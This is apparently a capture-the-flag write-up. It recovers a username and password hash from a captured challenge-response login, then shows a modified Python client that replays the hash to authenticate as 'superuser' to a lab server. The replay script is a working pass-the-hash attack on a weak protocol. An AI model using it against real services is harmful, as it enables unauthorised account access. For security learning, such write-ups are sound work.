In this challenge we 2 files: 1 PCAP, 1 Python
The PCAP file contains a dialog between a client and server that goes like this:
> = client to server
< = server to client
> 8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633
< 5f367ff47fff772986cca54219fa167175353dc7
> 78be5fe51f264a4067463bad57022348
< 3290452b9a9f6d18523347dd1daa54a1e09195a7
> 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_<8b060ba4b309e73abd079d8f0128056c07b78cad
< Bienvenue, superuser. Le lieu du rendez-vous n'est pas encore defini.
The original Python file goes like this:
import SocketServer
import socket, sys, hashlib, random
if __name__ == "__main__":
HOST, PORT = sys.argv[1], 9999
USER = raw_input("Utilisateur : ").strip()
PASS = raw_input("Mot de passe : ").strip()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
try:
data = hashlib.sha1(USER).hexdigest()+":"+hashlib.sha1(hashlib.md5(hashlib.sha1(PASS).hexdigest()+hashlib.sha1(PASS).hexdigest()+hashlib.md5(USER).hexdigest()).hexdigest()).hexdigest()
sock.sendall(data + "\n")
challenge = sock.recv(41).strip()
sock.sendall(hashlib.md5(hashlib.sha1(PASS).hexdigest()+"SuperSalt"+hashlib.md5(USER+challenge).hexdigest()).hexdigest() + "\n")
challenge = sock.recv(41).strip()
sock.sendall(hashlib.sha1(PASS).hexdigest()+">_<"+hashlib.sha1(challenge+hashlib.md5(USER).hexdigest()).hexdigest() + "\n")
print sock.recv(1024)
except:
print sock.recv(1024)
sock.close()
We need to get updated information on the meeting location so we need to do a replay attack on this service.
We are going to map the network stream to the python code:
Handshake
> 8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633
sha1(user) : sha1(sha1(pass)+sha1(pass)+md5(user))
Challenge 1:
< 5f367ff47fff772986cca54219fa167175353dc7 > 78be5fe51f264a4067463bad57022348
md5(sha1(pass)+”SuperSalt”+md5(user+challenge))
Challenge 2:
< 3290452b9a9f6d18523347dd1daa54a1e09195a7 > 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_<8b060ba4b309e73abd079d8f0128056c07b78cad sha1(pass)+">_<"+sha1(challenge+md5(user)) We can deduce: sha1(user) = 8e67bb26b358e2ed20fe552ed6fb832f397a507d sha1(pass) = 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e Google bruteforcing sha1(user) gives "superuser", which match the plain text welcome message "Bienvenue, superuser". We can also Google bruteforce the challenges but that's useless. user = "superuser" challenge1 = "4283399" challenge2 = "3593819" So we know USER, now we need PASS. But we only have sha1(pass) and it cannot be Google bruteforced. But do we really need to know PASS ? If you look closely in the code above, you will see we only use the sha1 of PASS, never anything else. Since we know USER, we can carry a replay attack. We remove all reference to PASS and put directly the sha1(pass) string.
import SocketServer
import socket, sys, hashlib, random
if __name__ == "__main__":
HOST, PORT = "10.13.37.12", 9999
USER = "superuser"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
try:
sock.sendall("8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633" + "\n")
challenge = sock.recv(41).strip()
sock.sendall(hashlib.md5("94817a6b1d833e1ffb4fcb2aa7dd14143dc5759eSuperSalt"+hashlib.md5(USER+challenge).hexdigest()).hexdigest() + "\n")
challenge = sock.recv(41).strip()
sock.sendall("94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_<"+hashlib.sha1(challenge+hashlib.md5(USER).hexdigest()).hexdigest() + "\n")
print sock.recv(1024)
except:
print sock.recv(1024)
sock.close()
All done.